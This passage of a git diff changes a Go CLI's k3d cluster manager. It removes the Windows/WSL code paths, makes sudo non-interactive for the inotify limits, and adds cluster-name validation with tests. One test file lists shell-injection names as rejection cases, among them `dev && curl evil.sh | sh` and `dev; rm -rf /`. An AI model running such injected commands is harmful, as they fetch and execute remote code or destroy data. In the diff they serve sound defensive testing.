i+1 < len(argv); i++ { + if argv[i] == flag && argv[i+1] == value { + return true + } + } + return false +} diff --git a/internal/cluster/providers/k3d/inotify_test.go b/internal/cluster/providers/k3d/inotify_test.go new file mode 100644 index 00000000..a478fa5e --- /dev/null +++ b/internal/cluster/providers/k3d/inotify_test.go @@ -0,0 +1,76 @@ +package k3d + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// B3 contract guards for the inotify bump: it must never reach an interactive +// sudo password prompt — skip on macOS (no fs.inotify.* keys), skip when the +// limits already suffice, and escalate only with `sudo -n` (fail, don't prompt). + +func TestInotify_DarwinIsSkippedEntirely(t *testing.T) { + mock := executor.NewMockCommandExecutor() + m := NewK3dManager(mock, false) + + require.NoError(t, m.increaseInotifyLimitsFor(context.Background(), "darwin")) + assert.Zero(t, mock.GetCommandCount(), "macOS has no inotify sysctls; nothing may run (the old code ran `sudo sysctl` and prompted for a password)") +} + +func TestInotify_SufficientLimitsSkipSudo(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("sysctl -n", &executor.CommandResult{ExitCode: 0, Stdout: "999999\n", Duration: time.Millisecond}) + m := NewK3dManager(mock, false) + + require.NoError(t, m.increaseInotifyLimitsFor(context.Background(), "linux")) + for _, rc := range mock.Commands() { + assert.NotEqualf(t, "sudo", rc.Name, "no privilege escalation when limits already suffice: %v", rc) + } +} + +func TestInotify_LowLimitsEscalateWithSudoN(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("sysctl -n", &executor.CommandResult{ExitCode: 0, Stdout: "8192\n", Duration: time.Millisecond}) + m := NewK3dManager(mock, false) + + require.NoError(t, m.increaseInotifyLimitsFor(context.Background(), "linux")) + + var sawSudo bool + for _, rc := range mock.Commands() { + if rc.Name != "sudo" { + continue + } + sawSudo = true + require.NotEmpty(t, rc.Args) + assert.Equalf(t, "-n", rc.Args[0], "sudo must run non-interactively (-n) so it can never prompt for a password: %v", rc.Args) + } + assert.True(t, sawSudo, "low limits must trigger the sysctl write") +} + +func TestInotify_SudoFailureIsActionableNotAPrompt(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("sysctl -n", &executor.CommandResult{ExitCode: 0, Stdout: "8192\n", Duration: time.Millisecond}) + mock.SetResponse("sudo -n sysctl", &executor.CommandResult{ExitCode: 1, Stderr: "sudo: a password is required", Duration: time.Millisecond}) + m := NewK3dManager(mock, false) + + err := m.increaseInotifyLimitsFor(context.Background(), "linux") + require.Error(t, err, "missing passwordless sudo surfaces as an error (downgraded to a warning by the caller)") + assert.Contains(t, err.Error(), "sudo sysctl -w", "error must carry the manual command since we refused to prompt") +} + +func TestInotify_WindowsWSLUsesSudoN(t *testing.T) { + mock := executor.NewMockCommandExecutor() + m := NewK3dManager(mock, false) + + require.NoError(t, m.increaseInotifyLimitsFor(context.Background(), "windows")) + cmds := mock.Commands() + require.Len(t, cmds, 1) + assert.Equal(t, "wsl", cmds[0].Name) + assert.Truef(t, strings.Contains(cmds[0].String(), "sudo -n sysctl"), "WSL branch must also be prompt-free: %s", cmds[0]) +} diff --git a/internal/cluster/providers/k3d/manager.go b/internal/cluster/providers/k3d/manager.go index 4db6b4f1..1c09bda9 100644 --- a/internal/cluster/providers/k3d/manager.go +++ b/internal/cluster/providers/k3d/manager.go @@ -45,15 +45,6 @@ func NewK3dManager(exec executor.CommandExecutor, verbose bool) *K3dManager { } } -// NewK3dManagerWithTimeout creates a new K3D cluster manager with custom timeout -func NewK3dManagerWithTimeout(exec executor.CommandExecutor, verbose bool, timeout string) *K3dManager { - return &K3dManager{ - executor: exec, - verbose: verbose, - timeout: timeout, - } -} - // CreateCluster creates a new K3D cluster using config file approach // Returns the *rest.Config for the created cluster that can be used to interact with it func (m *K3dManager) CreateCluster(ctx context.Context, config models.ClusterConfig) (*rest.Config, error) { @@ -74,23 +65,8 @@ func (m *K3dManager) CreateCluster(ctx context.Context, config models.ClusterCon // Don't fail - cluster might still work if limits are already sufficient } - // On Windows/WSL2, get the WSL internal IP before creating the cluster - // to include it as a TLS SAN in the k3s certificate - var wslInternalIP string - if runtime.GOOS == "windows" { - var err error - wslInternalIP, err = m.getWSLInternalIP(ctx) - if err != nil { - if m.verbose { - fmt.Printf("Warning: Could not get WSL internal IP for TLS SAN: %v\n", err) - } - // Continue without the extra SAN - the insecure TLS config will still work - } else if m.verbose { - fmt.Printf("✓ Retrieved WSL internal IP for TLS SAN: %s\n", wslInternalIP) - } - } - - configFile, err := m.createK3dConfigFile(config, wslInternalIP) + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). + configFile, err := m.createK3dConfigFile(config) if err != nil { return nil, models.NewClusterOperationError("create", config.Name, fmt.Errorf("failed to create config file: %w", err)) } @@ -118,21 +94,10 @@ func (m *K3dManager) CreateCluster(ctx context.Context, config models.ClusterCon // Don't fail - this is not critical } - // Convert Windows path to WSL path if running on Windows - configFilePath := configFile - if runtime.GOOS == "windows" { - configFilePath, err = m.convertWindowsPathToWSL(configFile) - if err != nil { - return nil, models.NewClusterOperationError("create", config.Name, fmt.Errorf("failed to convert config file path for WSL: %w", err)) - } - if m.verbose { - fmt.Printf("DEBUG: Converted Windows path '%s' to WSL path '%s'\n", configFile, configFilePath) - } - } - + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). args := []string{ "cluster", "create", - "--config", configFilePath, + "--config", configFile, "--timeout", m.timeout, "--kubeconfig-update-default", // Update default kubeconfig with new cluster context "--kubeconfig-switch-context", // Automatically switch to new cluster context @@ -163,15 +128,7 @@ func (m *K3dManager) CreateCluster(ctx context.Context, config models.ClusterCon // Don't fail - this is not critical } - // On Windows, rewrite the kubeconfig server address to use the WSL internal IP - // This is necessary for helm (running inside Ubuntu WSL) to reach the k3d cluster - if err := m.rewriteWSLKubeconfigServerAddress(ctx, config.Name); err != nil { - if m.verbose { - fmt.Printf("Warning: Could not rewrite kubeconfig server address: %v\n", err) - } - // Don't fail - helm might still work if the network is configured correctly - } - + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). // Verify the cluster is reachable and get the rest.Config via the native // client (client-go). This is the sole verification — the previous best-effort // kubectl double-check was removed with the kubectl migration. @@ -191,8 +148,13 @@ func (m *K3dManager) GetRestConfig(ctx context.Context, clusterName string) (*re // DeleteCluster removes a K3D cluster func (m *K3dManager) DeleteCluster(ctx context.Context, name string, clusterType models.ClusterType, force bool) error { - if name == "" { - return models.NewInvalidConfigError("name", name, "cluster name cannot be empty") + // Validate at this domain boundary, not just at `cluster create`/`bootstrap`: + // `cluster delete --force` skips both the existence check and any + // command-layer validation, and the name then flows into the Docker cleanup + // fallback. ValidateClusterName restricts names to [a-zA-Z0-9-] (no shell + // metacharacters) as defense in depth against a name reaching a shell. + if err := models.ValidateClusterName(name); err != nil { + return models.NewInvalidConfigError("name", name, err.Error()) } if clusterType != models.ClusterTypeK3d { @@ -213,9 +175,10 @@ func (m *K3dManager) DeleteCluster(ctx context.Context, name string, clusterType _, err := m.executor.ExecuteWithOptions(ctx, options) if err != nil { - // On Windows/WSL or when force is set, fall back to direct Docker cleanup - // This handles WSL networking issues that can cause k3d to hang or fail - if runtime.GOOS == "windows" || force { + // When force is set, fall back to direct Docker cleanup. + // This handles networking issues that can cause k3d to hang or fail. + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). + if force { if m.verbose { fmt.Printf("k3d delete failed, attempting direct Docker cleanup for cluster %s: %v\n", name, err) } @@ -236,44 +199,21 @@ func (m *K3dManager) DeleteCluster(ctx context.Context, name string, clusterType } // forceCleanupDockerContainers removes all Docker containers associated with a k3d cluster -// This is a fallback mechanism when k3d cluster delete fails (e.g., due to WSL networking issues) +// This is a fallback mechanism when k3d cluster delete fails. +// +// No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher). func (m *K3dManager) forceCleanupDockerContainers(ctx context.Context, clusterName string) error { - if runtime.GOOS == "windows" { - return m.forceCleanupDockerContainersWSL(ctx, clusterName) - } - return m.forceCleanupDockerContainersDirect(ctx, clusterName) -} - -// forceCleanupDockerContainersWSL removes k3d containers via WSL on Windows -func (m *K3dManager) forceCleanupDockerContainersWSL(ctx context.Context, clusterName string) error { - username, err := m.getWSLUser(ctx) - if err != nil { - username = "runner" // fallback to runner - } - - // Remove containers matching k3d- pattern - cleanupCmd := fmt.Sprintf( - "sudo docker ps -aq --filter 'name=k3d-%s' | xargs -r sudo docker rm -f 2>/dev/null || true", - clusterName, - ) - _, err = m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", cleanupCmd) - if err != nil { - return fmt.Errorf("failed to cleanup containers via WSL: %w", err) - } - - // Also remove the network - networkCleanupCmd := fmt.Sprintf("sudo docker network rm k3d-%s 2>/dev/null || true", clusterName) - if _, nerr := m.executor.Execute(ctx, "wsl", "-d", "Ubuntu", "-u", username, "bash", "-c", networkCleanupCmd); nerr != nil && m.verbose { - fmt.Printf("Warning: failed to remove k3d network for %s: %v\n", clusterName, nerr) + // Defense in depth: the cluster name is interpolated into Docker arguments + // here. Callers validate, but re-check so a future caller cannot introduce + // an injection. See DeleteCluster. + if err := models.ValidateClusterName(clusterName); err != nil { + return models.NewInvalidConfigError("name", clusterName, err.Error()) } - return nil -} - -// forceCleanupDockerContainersDirect removes k3d containers directly (non-Windows) -func (m *K3dManager) forceCleanupDockerContainersDirect(ctx context.Context, clusterName string) error { - // List containers matching k3d- pattern - result, err := m.executor.Execute(ctx, "docker", "ps", "-aq", "--filter", fmt.Sprintf("name=k3d-%s", clusterName)) + // Select containers by the k3d.cluster label (exact match). A name= filter + // is an unanchored regex: deleting cluster "dev" would also match the + // containers of "dev-2", "dev-old", ... (T0-2). + result, err := m.executor.Execute(ctx, "docker", "ps", "-aq", "--filter", fmt.Sprintf("label=k3d.cluster=%s", clusterName)) if err != nil { return fmt.Errorf("failed to list containers: %w", err) } @@ -355,12 +295,14 @@ func (m *K3dManager) ListClusters(ctx context.Context) ([]models.ClusterInfo, er } clusters = append(clusters, models.ClusterInfo{ - Name: k3dCluster.Name, - Type: models.ClusterTypeK3d, - Status: fmt.Sprintf("%d/%d", k3dCluster.ServersRunning, k3dCluster.ServersCount), - NodeCount: k3dCluster.AgentsCount + k3dCluster.ServersCount, - CreatedAt: createdAt, - Nodes: []models.NodeInfo{}, + Name: k3dCluster.Name, + Type: models.ClusterTypeK3d, + Status: fmt.Sprintf("%d/%d", k3dCluster.ServersRunning, k3dCluster.ServersCount), + ReadyServers: k3dCluster.ServersRunning, + TotalServers: k3dCluster.ServersCount, + NodeCount: k3dCluster.AgentsCount + k3dCluster.ServersCount, + CreatedAt: createdAt, + Nodes: []models.NodeInfo{}, }) } @@ -444,8 +386,7 @@ func (m *K3dManager) validateClusterConfig(config models.ClusterConfig) error { } // createK3dConfigFile creates a k3d config file -// wslInternalIP is optional - if provided, it will be added as a TLS SAN for the k3s API server certificate -func (m *K3dManager) createK3dConfigFile(config models.ClusterConfig, wslInternalIP string) (string, error) { +func (m *K3dManager) createK3dConfigFile(config models.ClusterConfig) (string, error) { image := defaultK3sImage if runtime.GOARCH == "arm64" { image = defaultK3sImage @@ -477,25 +418,9 @@ image: %s`, config.Name, servers, agents, image) httpPort := strconv.Itoa(ports.HTTP) httpsPort := strconv.Itoa(ports.HTTPS) - // On Windows/WSL2, bind to 0.0.0.0 so the API is accessible via the WSL eth0 IP - // Docker runs inside WSL2 Ubuntu, and binding to 0.0.0.0 makes the API accessible: - // - From within WSL via 127.0.0.1 (for kubectl/helm running in WSL) - // - From Windows via WSL's eth0 IP (for the Go client running on Windows) + // No Windows branch: the CLI forwards into WSL and runs as linux (see wsllauncher), + // so the API always binds to the loopback address. hostIP := "127.0.0.1" - if runtime.GOOS == "windows" { - hostIP = "0.0.0.0" - } - - // Build TLS SAN argument if WSL internal IP is provided - // This ensures the k3s API server certificate includes the WSL internal IP, - // allowing kubectl/helm to connect via the WSL network without TLS errors - tlsSanArg := "" - if wslInternalIP != "" { - tlsSanArg = fmt.Sprintf(` - - arg: --tls-san=%s - nodeFilters: - - server:*`, wslInternalIP) - } configContent += fmt.Sprintf(` kubeAPI: @@ -513,14 +438,14 @@ options: - all - arg: --kubelet-arg=eviction-soft= nodeFilters: - - all%s + - all ports: - port: %s:80 nodeFilters: - loadbalancer - port: %s:443 nodeFilters: - - loadbalancer`, hostIP, hostIP, apiPort, tlsSanArg, httpPort, httpsPort) + - loadbalancer`, hostIP, hostIP, apiPort, httpPort, httpsPort) tmpFile, err := os.CreateTemp("", "k3d-config-*.yaml") if err != nil { @@ -553,16 +478,32 @@ func CreateClusterManagerWithExecutor(exec executor.CommandExecutor) *K3dManager // The limits are set via sysctl: // - fs.inotify.max_user_watches: max number of file watches per user (default: 8192) // - fs.inotify.max_user_instances: max number of inotify instances per user (default: 128) +// +// Best-effort by design, and it must NEVER prompt: sudo runs with -n +// (non-interactive) so a box without passwordless sudo gets a skip + hint, not +// a hidden password prompt on /dev/tty that stalls `bootstrap --non-interactive` +// mid-spinner. func (m *K3dManager) increaseInotifyLimits(ctx context.Context) error { - // Desired limits - these are common recommended values for development environments - const maxUserWatches = "524288" - const maxUserInstances = "512" + return m.increaseInotifyLimitsFor(ctx, runtime.GOOS) +} - if runtime.GOOS == "windows" { - // On Windows, the limits need to be set inside WSL2 where Docker runs - // We need root privileges to modify sysctl settings +// increaseInotifyLimitsFor is the goos-parameterized implementation (testable +// off-Linux). +func (m *K3dManager) increaseInotifyLimitsFor(ctx context.Context, goos string) error { + // Desired limits - these are common recommended values for development environments + const maxUserWatches = 524288 + const maxUserInstances = 512 + + switch goos { + case "darwin": + // macOS has no fs.inotify.* keys (it uses FSEvents); the old + // unconditional `sudo sysctl` only ever produced a password prompt here. + return nil + case "windows": + // On Windows, the limits need to be set inside WSL2 where Docker runs. + // Reached only with WSL forwarding disabled; keep it prompt-free too. sysctlCmd := fmt.Sprintf( - "sudo sysctl -w fs.inotify.max_user_watches=%s fs.inotify.max_user_instances=%s 2>/dev/null || true", + "sudo -n sysctl -w fs.inotify.max_user_watches=%d fs.inotify.max_user_instances=%d 2>/dev/null || true", maxUserWatches, maxUserInstances, ) @@ -572,27 +513,54 @@ func (m *K3dManager) increaseInotifyLimits(ctx context.Context) error { } if m.verbose { - fmt.Printf("✓ Increased inotify limits in WSL (max_user_watches=%s, max_user_instances=%s)\n", + fmt.Printf("✓ Increased inotify limits in WSL (max_user_watches=%d, max_user_instances=%d)\n", maxUserWatches, maxUserInstances) } - } else { - // On Linux/macOS, set the limits directly - // Note: macOS doesn't use inotify (uses FSEvents), so this only applies to Linux - sysctlCmd := fmt.Sprintf( - "sudo sysctl -w fs.inotify.max_user_watches=%s fs.inotify.max_user_instances=%s 2>/dev/null || true", - maxUserWatches, maxUserInstances, - ) + default: // linux + // Skip the privileged write when the current limits already suffice. + if m.inotifyLimitsSufficient(ctx, maxUserWatches, maxUserInstances) { + if m.verbose { + fmt.Println("✓ inotify limits already sufficient") + } + return nil + } - _, err := m.executor.Execute(ctx, "bash", "-c", sysctlCmd) + // sudo -n: fail instead of prompting when passwordless sudo is missing. + _, err := m.executor.Execute(ctx, "sudo", "-n", "sysctl", "-w", + fmt.Sprintf("fs.inotify.max_user_watches=%d", maxUserWatches), + fmt.Sprintf("fs.inotify.max_user_instances=%d", maxUserInstances), + ) if err != nil { - return fmt.Errorf("failed to set inotify limits: %w", err) + // Best-effort: the caller downgrades this to a warning. Give the + // manual command since we deliberately refused to prompt for sudo. + return fmt.Errorf("could not raise inotify limits without prompting for sudo; run manually: sudo sysctl -w fs.inotify.max_user_watches=%d fs.inotify.max_user_instances=%d: %w", + maxUserWatches, maxUserInstances, err) } if m.verbose { - fmt.Printf("✓ Increased inotify limits (max_user_watches=%s, max_user_instances=%s)\n", + fmt.Printf("✓ Increased inotify limits (max_user_watches=%d, max_user_instances=%d)\n", maxUserWatches, maxUserInstances) } } return nil } + +// inotifyLimitsSufficient reports whether both current inotify limits already +// meet the wanted values (reading them needs no privileges). +func (m *K3dManager) inotifyLimitsSufficient(ctx context.Context, wantWatches, wantInstances int) bool { + for key, want := range map[string]int{ + "fs.inotify.max_user_watches": wantWatches, + "fs.inotify.max_user_instances": wantInstances, + } { + result, err := m.executor.Execute(ctx, "sysctl", "-n", key) + if err != nil { + return false + } + current, err := strconv.Atoi(strings.TrimSpace(result.Stdout)) + if err != nil || current < want { + return false + } + } + return true +} diff --git a/internal/cluster/providers/k3d/manager_test.go b/internal/cluster/providers/k3d/manager_test.go index 180578ba..b1dcff02 100644 --- a/internal/cluster/providers/k3d/manager_test.go +++ b/internal/cluster/providers/k3d/manager_test.go @@ -140,6 +140,11 @@ func TestK3dManager_CreateCluster(t *testing.T) { // Mock bash or wsl for kubeconfig directory prep and cleanup // Using Maybe() to allow flexible number of calls as implementation may vary m.On("Execute", mock.Anything, "bash", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() + // The Linux inotify pre-check reads current limits (sysctl -n) and only + // escalates via `sudo -n` when they are low; report them sufficient so no + // escalation happens. .Maybe(): on darwin the whole step is skipped. + m.On("Execute", mock.Anything, "sysctl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "999999"}, nil).Maybe() + m.On("Execute", mock.Anything, "sudo", mock.Anything).Return(&execPkg.CommandResult{Stdout: ""}, nil).Maybe() m.On("Execute", mock.Anything, "wsl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() m.On("Execute", mock.Anything, "k3d", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() }, @@ -157,6 +162,11 @@ func TestK3dManager_CreateCluster(t *testing.T) { // Mock bash or wsl for kubeconfig directory prep and cleanup // Using Maybe() to allow flexible number of calls as implementation may vary m.On("Execute", mock.Anything, "bash", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() + // The Linux inotify pre-check reads current limits (sysctl -n) and only + // escalates via `sudo -n` when they are low; report them sufficient so no + // escalation happens. .Maybe(): on darwin the whole step is skipped. + m.On("Execute", mock.Anything, "sysctl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "999999"}, nil).Maybe() + m.On("Execute", mock.Anything, "sudo", mock.Anything).Return(&execPkg.CommandResult{Stdout: ""}, nil).Maybe() m.On("Execute", mock.Anything, "wsl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() m.On("Execute", mock.Anything, "k3d", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() }, @@ -198,6 +208,11 @@ func TestK3dManager_CreateCluster(t *testing.T) { setupMock: func(m *MockExecutor) { // Mock bash or wsl for kubeconfig directory prep and cleanup m.On("Execute", mock.Anything, "bash", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() + // The Linux inotify pre-check reads current limits (sysctl -n) and only + // escalates via `sudo -n` when they are low; report them sufficient so no + // escalation happens. .Maybe(): on darwin the whole step is skipped. + m.On("Execute", mock.Anything, "sysctl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "999999"}, nil).Maybe() + m.On("Execute", mock.Anything, "sudo", mock.Anything).Return(&execPkg.CommandResult{Stdout: ""}, nil).Maybe() m.On("Execute", mock.Anything, "wsl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() m.On("Execute", mock.Anything, "k3d", mock.Anything).Return(nil, errors.New("k3d error")).Maybe() }, @@ -246,6 +261,11 @@ func TestK3dManager_CreateCluster_VerboseMode(t *testing.T) { executor := &MockExecutor{} // Mock bash or wsl for kubeconfig directory prep and cleanup executor.On("Execute", mock.Anything, "bash", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() + // The Linux inotify pre-check reads current limits (sysctl -n) and only + // escalates via `sudo -n` when they are low; report them sufficient so no + // escalation happens. .Maybe(): on darwin the whole step is skipped. + executor.On("Execute", mock.Anything, "sysctl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "999999"}, nil).Maybe() + executor.On("Execute", mock.Anything, "sudo", mock.Anything).Return(&execPkg.CommandResult{Stdout: ""}, nil).Maybe() executor.On("Execute", mock.Anything, "wsl", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() executor.On("Execute", mock.Anything, "k3d", mock.Anything).Return(&execPkg.CommandResult{Stdout: "success"}, nil).Maybe() @@ -889,64 +909,3 @@ func TestIsTemporaryError(t *testing.T) { }) } } - -func TestExtractIPFromRouteOutput(t *testing.T) { - tests := []struct { - name string - input string - expected string - }{ - { - name: "already valid IP", - input: "172.21.96.1", - expected: "172.21.96.1", - }, - { - name: "full ip route output", - input: "default via 172.21.96.1 dev eth0 proto kernel", - expected: "172.21.96.1", - }, - { - name: "ip route output with trailing newline", - input: "default via 172.21.96.1 dev eth0 proto kernel\n", - expected: "172.21.96.1", - }, - { - name: "ip route output with extra whitespace", - input: " default via 172.21.96.1 dev eth0 proto kernel ", - expected: "172.21.96.1", - }, - { - name: "resolv.conf nameserver output", - input: "nameserver 172.21.96.1", - expected: "172.21.96.1", - }, - { - name: "empty string", - input: "", - expected: "", - }, - { - name: "whitespace only", - input: " ", - expected: "", - }, - { - name: "no valid IP in output", - input: "default via gateway dev eth0", - expected: "", - }, - { - name: "multiple IPs returns first", - input: "192.168.1.1 172.21.96.1", - expected: "192.168.1.1", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := extractIPFromRouteOutput(tt.input) - assert.Equal(t, tt.expected, result) - }) - } -} diff --git a/internal/cluster/providers/k3d/name_validation_test.go b/internal/cluster/providers/k3d/name_validation_test.go new file mode 100644 index 00000000..2af20ba2 --- /dev/null +++ b/internal/cluster/providers/k3d/name_validation_test.go @@ -0,0 +1,72 @@ +package k3d + +import ( + "context" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/cluster/models" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// injectionNames are cluster names carrying shell metacharacters. The +// force-delete fallback is the one place a cluster name reaches a shell, so any +// of these must be rejected before a command runs. +var injectionNames = []string{ + `dev'; whoami; '`, + `dev$(id)`, + "dev`id`", + "dev; rm -rf /", + "dev && curl evil.sh | sh", + "dev\nwhoami", + "dev|whoami", + "../../etc/passwd", + "", + " ", +} + +// TestDeleteCluster_RejectsShellMetacharacters is the injection guard: +// `cluster delete --force` skips the existence check and the command +// layer never validated the name on this path, so validation must happen at +// the provider boundary — before any command is issued. +func TestDeleteCluster_RejectsShellMetacharacters(t *testing.T) { + for _, name := range injectionNames { + t.Run(name, func(t *testing.T) { + mock := executor.NewMockCommandExecutor() + m := NewK3dManager(mock, false) + + for _, force := range []bool{false, true} { + err := m.DeleteCluster(context.Background(), name, models.ClusterTypeK3d, force) + require.Errorf(t, err, "name %q must be rejected (force=%v)", name, force) + } + assert.Zerof(t, mock.GetCommandCount(), + "no command may run for the invalid name %q — it reaches a `bash -c` string on the WSL path", name) + }) + } +} + +// TestForceCleanup_RejectsShellMetacharacters guards the sink itself, so a +// future caller that skips DeleteCluster cannot reintroduce the injection. +func TestForceCleanup_RejectsShellMetacharacters(t *testing.T) { + for _, name := range injectionNames { + mock := executor.NewMockCommandExecutor() + m := NewK3dManager(mock, false) + + err := m.forceCleanupDockerContainers(context.Background(), name) + require.Errorf(t, err, "cleanup must reject %q", name) + assert.Zerof(t, mock.GetCommandCount(), "no shell command may run for %q", name) + } +} + +// TestDeleteCluster_AcceptsValidNames: the guard must not break real names. +func TestDeleteCluster_AcceptsValidNames(t *testing.T) { + for _, name := range []string{"dev", "openframe-test", "a", "cluster-123", "Dev-2"} { + mock := executor.NewMockCommandExecutor() + m := NewK3dManager(mock, false) + + require.NoErrorf(t, m.DeleteCluster(context.Background(), name, models.ClusterTypeK3d, false), + "valid name %q must be accepted", name) + assert.NotZerof(t, mock.GetCommandCount(), "a valid name must reach k3d: %q", name) + } +} diff --git a/internal/cluster/providers/k3d/path_other.go b/internal/cluster/providers/k3d/path_other.go deleted file mode 100644 index 95b7b84c..00000000 --- a/internal/cluster/providers/k3d/path_other.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build !windows - -package k3d - -// expandShortPath is a no-op on non-Windows platforms. -// Windows short filenames (8.3 format) are only relevant on Windows. -func expandShortPath(path string) (string, error) { - return path, nil -} diff --git a/internal/cluster/providers/k3d/path_windows.go b/internal/cluster/providers/k3d/path_windows.go deleted file mode 100644 index 3222c2b8..00000000 --- a/internal/cluster/providers/k3d/path_windows.go +++ /dev/null @@ -1,56 +0,0 @@ -//go:build windows - -package k3d - -import ( - "syscall" - "unsafe" -) - -var ( - kernel32 = syscall.NewLazyDLL("kernel32.dll") - procGetLongPathNameW = kernel32.NewProc("GetLongPathNameW") -) - -// expandShortPath expands Windows 8.3 short filenames to their full long path names. -// For example: C:\Users\RUNNER~1\... -> C:\Users\runneradmin\... -// This is necessary because WSL doesn't understand Windows short filenames. -func expandShortPath(path string) (string, error) { - if path == "" { - return path, nil - } - - // Convert path to UTF-16 for Windows API - pathPtr, err := syscall.UTF16PtrFromString(path) - if err != nil { - return path, err - } - - // First call to get required buffer size - n, _, _ := procGetLongPathNameW.Call( - uintptr(unsafe.Pointer(pathPtr)), - 0, - 0, - ) - - if n == 0 { - // GetLongPathNameW failed - path might not exist or other error - // Return original path as fallback - return path, nil - } - - // Allocate buffer and get the long path - buf := make([]uint16, n) - n, _, _ = procGetLongPathNameW.Call( - uintptr(unsafe.Pointer(pathPtr)), - uintptr(unsafe.Pointer(&buf[0])), - uintptr(n), - ) - - if n == 0 { - // Failed to get long path, return original - return path, nil - } - - return syscall.UTF16ToString(buf[:n]), nil -} diff --git a/internal/cluster/providers/k3d/split_test.go b/internal/cluster/providers/k3d/split_test.go index d5d28677..70bbb236 100644 --- a/internal/cluster/providers/k3d/split_test.go +++ b/internal/cluster/providers/k3d/split_test.go @@ -63,65 +63,6 @@ func TestGetUsedPortsByExistingClusters_ErrorsYieldEmpty(t *testing.T) { }) } -// --- wsl.go: convertWindowsPathToWSL (expandShortPath is a no-op off Windows) --- - -func TestConvertWindowsPathToWSL(t *testing.T) { - m := NewK3dManager(executor.NewMockCommandExecutor(), false) - - cases := []struct{ in, want string }{ - {`C:\Users\foo\file.txt`, "/mnt/c/Users/foo/file.txt"}, - {`D:\data`, "/mnt/d/data"}, - {`relative\path`, "relative/path"}, // no drive letter → slashes only - } - for _, c := range cases { - got, err := m.convertWindowsPathToWSL(c.in) - if err != nil { - t.Fatalf("convertWindowsPathToWSL(%q): %v", c.in, err) - } - if got != c.want { - t.Errorf("convertWindowsPathToWSL(%q) = %q, want %q", c.in, got, c.want) - } - } - - if _, err := m.convertWindowsPathToWSL(""); err == nil { - t.Error("empty path must error") - } -} - -// --- wsl.go: getWSLUser --- - -func TestGetWSLUser(t *testing.T) { - t.Run("runner user exists", func(t *testing.T) { - mock := executor.NewMockCommandExecutor() - mock.SetResponse("-u runner whoami", &executor.CommandResult{Stdout: "runner\n"}) - got, err := NewK3dManager(mock, false).getWSLUser(context.Background()) - if err != nil || got != "runner" { - t.Fatalf("got (%q, %v), want (runner, nil)", got, err) - } - }) - - t.Run("falls back to first home-dir user", func(t *testing.T) { - mock := executor.NewMockCommandExecutor() - mock.SetResponse("-u runner whoami", &executor.CommandResult{Stdout: ""}) // no runner - mock.SetResponse("getent passwd", &executor.CommandResult{Stdout: "ubuntu\n"}) - mock.SetResponse("-u ubuntu whoami", &executor.CommandResult{Stdout: "ubuntu\n"}) - got, err := NewK3dManager(mock, false).getWSLUser(context.Background()) - if err != nil || got != "ubuntu" { - t.Fatalf("got (%q, %v), want (ubuntu, nil)", got, err) - } - }) - - t.Run("defaults to runner when detection fails", func(t *testing.T) { - mock := executor.NewMockCommandExecutor() - // Every probe returns empty output → no user detected → default "runner". - mock.SetDefaultResult(&executor.CommandResult{Stdout: ""}) - got, err := NewK3dManager(mock, false).getWSLUser(context.Background()) - if err != nil || got != "runner" { - t.Fatalf("got (%q, %v), want (runner, nil)", got, err) - } - }) -} - // --- verify.go: waitForTCPPort --- func TestWaitForTCPPort(t *testing.T) { diff --git a/internal/cluster/providers/k3d/verify.go b/internal/cluster/providers/k3d/verify.go index a118390b..5db2c432 100644 --- a/internal/cluster/providers/k3d/verify.go +++ b/internal/cluster/providers/k3d/verify.go @@ -6,8 +6,6 @@ import ( "net" "os" "path/filepath" - "regexp" - "runtime" "strings" "time" @@ -26,100 +24,38 @@ func (m *K3dManager) verifyClusterReachable(ctx context.Context, clusterName str var restConfig *rest.Config - // On Windows, load kubeconfig content directly from WSL into memory - // to avoid Windows filesystem path issues - if runtime.GOOS == "windows" { - // Retrieve kubeconfig content directly from k3d inside WSL - kubeconfigContent, err := m.getKubeconfigContentFromWSL(ctx, clusterName) - if err != nil { - return nil, fmt.Errorf("failed to retrieve kubeconfig content from WSL: %w", err) - } - - // Load the content from string into memory - config, err := clientcmd.Load([]byte(kubeconfigContent)) - if err != nil { - return nil, fmt.Errorf("failed to load kubeconfig content into memory: %w", err) - } - - // Use WSL's eth0 IP for the Go client running on Windows to reach k3d inside WSL2 - // Docker runs inside WSL2 Ubuntu, so we need WSL's own IP (not the gateway). - // From Windows, we can reach WSL services via WSL's eth0 IP (e.g., 172.x.x.2). - wslIP, err := m.getWSLInternalIP(ctx) - if err != nil { - if m.verbose { - fmt.Printf("Warning: Could not get WSL IP: %v\n", err) - fmt.Println("Falling back to 127.0.0.1") - } - wslIP = "127.0.0.1" // Fallback - } else if m.verbose { - 